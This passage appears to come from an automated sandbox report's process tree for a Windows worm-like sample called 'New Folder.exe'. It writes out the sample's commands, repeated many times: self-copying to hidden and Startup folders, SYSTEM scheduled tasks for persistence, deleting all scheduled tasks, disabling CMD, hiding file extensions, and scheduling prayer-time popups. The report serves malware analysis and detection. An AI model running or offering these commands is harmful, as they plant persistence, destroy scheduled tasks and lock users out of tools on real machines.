    - Enumerates system info in registry
    PID:732
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2980
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2988
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\AUTOEXEC.BAT"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2948
- - C:\Windows\SysWOW64\at.exe
    at /delete /yes
    3⤵
    PID:1516
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2272
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1752
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1712
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1972
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1728
- - C:\Windows\SysWOW64\at.exe
    at 6:10am msg * Sembahyang Subuh...
    3⤵
    PID:1980
- - C:\Windows\SysWOW64\at.exe
    at 1:35pm msg * Sembahyang Zuhur...
    3⤵
    PID:2188
- - C:\Windows\SysWOW64\at.exe
    at 4:50pm msg * Sembahyang Asar...
    3⤵
    PID:2536
- - C:\Windows\SysWOW64\at.exe
    at 7:25pm msg * Sembahyang Maghrib...
    3⤵
    PID:1388
- - C:\Windows\SysWOW64\at.exe
    at 8:40pm msg * Sembahyang Isyak...
    3⤵
    PID:2548
- - C:\Windows\SysWOW64\at.exe
    at 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )
    3⤵
    PID:1012
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1768
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2412
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"
    3⤵
    - Views/modifies file attributes
    PID:764
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    PID:1156
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    PID:1556
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    PID:1212
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2104
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f
    3⤵
    PID:1776
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3008
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    - Suspicious use of AdjustPrivilegeToken
    PID:2632
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    PID:2600
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f
    3⤵
    PID:2824
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /delete /tn * /f
    3⤵
    PID:2604
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    PID:2588
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:2284
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\bg1\" /h /c /y /i
    3⤵
    PID:2752
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    PID:2836
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\AUTOEXEC.BAT"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2212
- - C:\Windows\SysWOW64\at.exe
    at /delete /yes
    3⤵
    PID:2916
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2952
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1332
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1736
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2896
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1380
- - C:\Windows\SysWOW64\at.exe
    at 6:10am msg * Sembahyang Subuh...
    3⤵
    PID:2160
- - C:\Windows\SysWOW64\at.exe
    at 1:35pm msg * Sembahyang Zuhur...
    3⤵
    PID:2784
- - C:\Windows\SysWOW64\at.exe
    at 4:50pm msg * Sembahyang Asar...
    3⤵
    PID:2892
- - C:\Windows\SysWOW64\at.exe
    at 7:25pm msg * Sembahyang Maghrib...
    3⤵
    PID:2656
- - C:\Windows\SysWOW64\at.exe
    at 8:40pm msg * Sembahyang Isyak...
    3⤵
    PID:268
- - C:\Windows\SysWOW64\at.exe
    at 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )
    3⤵
    PID:2912
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    PID:580
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:564
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1600
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"
    3⤵
    - Views/modifies file attributes
    PID:1424
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1632
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2312
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2008
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f
    3⤵
    PID:2468
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    PID:2520
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:2040
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
    3⤵
    PID:2096
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f
    3⤵
    PID:756
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    PID:1952
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /delete /tn * /f
    3⤵
    PID:968
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    PID:2456
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:1248
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    PID:2332
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\AUTOEXEC.BAT"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:856
- - C:\Windows\SysWOW64\at.exe
    at /delete /yes
    3⤵
    PID:2356
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1500
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:880
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2344
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1268
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2176
- - C:\Windows\SysWOW64\at.exe
    at 6:10am msg * Sembahyang Subuh...
    3⤵
    PID:2060
- - C:\Windows\SysWOW64\at.exe
    at 1:35pm msg * Sembahyang Zuhur...
    3⤵
    PID:1708
- - C:\Windows\SysWOW64\at.exe
    at 4:50pm msg * Sembahyang Asar...
    3⤵
    PID:2256
- - C:\Windows\SysWOW64\at.exe
    at 7:25pm msg * Sembahyang Maghrib...
    3⤵
    PID:2352
- - C:\Windows\SysWOW64\at.exe
    at 8:40pm msg * Sembahyang Isyak...
    3⤵
    PID:1120
- - C:\Windows\SysWOW64\at.exe
    at 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )
    3⤵
    PID:2828
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2724
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2016
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"
    3⤵
    - Views/modifies file attributes
    PID:2600
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1520
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\bg1\" /h /c /y /i
    3⤵
    PID:1516
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f
    3⤵
    PID:1748
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
    3⤵
    PID:1688
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    PID:2084
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f
    3⤵
    PID:1712
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    - Enumerates system info in registry
    PID:1752
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /delete /tn * /f
    3⤵
    PID:1300
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2320
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:1644
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2272
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1424
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\AUTOEXEC.BAT"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:304
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2248
- - C:\Windows\SysWOW64\at.exe
    at /delete /yes
    3⤵
    PID:1988
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2500
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2816
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    - Drops file in Windows directory
    PID:2212
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1948
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2076
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:764
- - C:\Windows\SysWOW64\at.exe
    at 6:10am msg * Sembahyang Subuh...
    3⤵
    PID:2296
- - C:\Windows\SysWOW64\at.exe
    at 1:35pm msg * Sembahyang Zuhur...
    3⤵
    PID:2536
- - C:\Windows\SysWOW64\at.exe
    at 4:50pm msg * Sembahyang Asar...
    3⤵
    PID:2100
- - C:\Windows\SysWOW64\at.exe
    at 7:25pm msg * Sembahyang Maghrib...
    3⤵
    PID:1340
- - C:\Windows\SysWOW64\at.exe
    at 8:40pm msg * Sembahyang Isyak...
    3⤵
    PID:2376
- - C:\Windows\SysWOW64\at.exe
    at 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )
    3⤵
    PID:2012
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    PID:1668
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1368
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2564
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2036
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"
    3⤵
    - Views/modifies file attributes
    PID:1608
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\AUTOEXEC.BAT"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2568
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    PID:2996
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2976
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2288
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2984
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f
    3⤵
    PID:2168
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:3004
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
    3⤵
    PID:3000
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:3032
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    PID:3068
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f
    3⤵
    PID:1000
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    PID:3048
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /delete /tn * /f
    3⤵
    PID:3020
- - C:\Windows\SysWOW64\at.exe
    at /delete /yes
    3⤵
    PID:816
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2744
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2476
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1956
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1724
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1704
- - C:\Windows\SysWOW64\at.exe
    at 6:10am msg * Sembahyang Subuh...
    3⤵
    PID:2608
- - C:\Windows\SysWOW64\at.exe
    at 1:35pm msg * Sembahyang Zuhur...
    3⤵
    PID:2936
- - C:\Windows\SysWOW64\at.exe
    at 4:50pm msg * Sembahyang Asar...
    3⤵
    PID:484
- - C:\Windows\SysWOW64\at.exe
    at 7:25pm msg * Sembahyang Maghrib...
    3⤵
    PID:1332
- - C:\Windows\SysWOW64\at.exe
    at 8:40pm msg * Sembahyang Isyak...
    3⤵
    PID:1660
- - C:\Windows\SysWOW64\at.exe
    at 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )
    3⤵
    PID:1900
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    PID:1572
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1652
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\bg1\" /h /c /y /i
    3⤵
    PID:660
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    PID:472
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"
    3⤵
    - Views/modifies file attributes
    PID:2932
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\AUTOEXEC.BAT"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:272
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1340
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1964
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1840
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1356
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f
    3⤵
    PID:1684
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:2012
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
    3⤵
    PID:1792
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    PID:1084
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    PID:1312
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f
    3⤵
    PID:1912
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1368
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /delete /tn * /f
    3⤵
    PID:1852
- - C:\Windows\SysWOW64\at.exe
    at /delete /yes
    3⤵
    PID:2144
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1832
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:1848
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2348
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"
    3⤵
    - Creates scheduled task(s)
    PID:2436
- - C:\Windows\SysWOW64\at.exe
    at 6:10am msg * Sembahyang Subuh...
    3⤵
    PID:856
- - C:\Windows\SysWOW64\at.exe
    at 1:35pm msg * Sembahyang Zuhur...
    3⤵
    PID:2312
- - C:\Windows\SysWOW64\at.exe
    at 4:50pm msg * Sembahyang Asar...
    3⤵
    PID:1048
- - C:\Windows\SysWOW64\at.exe
    at 7:25pm msg * Sembahyang Maghrib...
    3⤵
    PID:2096
- - C:\Windows\SysWOW64\at.exe
    at 8:40pm msg * Sembahyang Isyak...
    3⤵
    PID:344
- - C:\Windows\SysWOW64\at.exe
    at 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )
    3⤵
    PID:1064
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    PID:1484
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1500
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:880
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:2956
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"
    3⤵
    - Views/modifies file attributes
    PID:2140
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\AUTOEXEC.BAT"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2604
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1804
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i
    3⤵
    - Enumerates system info in registry
    PID:1700
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i
    3⤵
    - Enumerates system info in registry
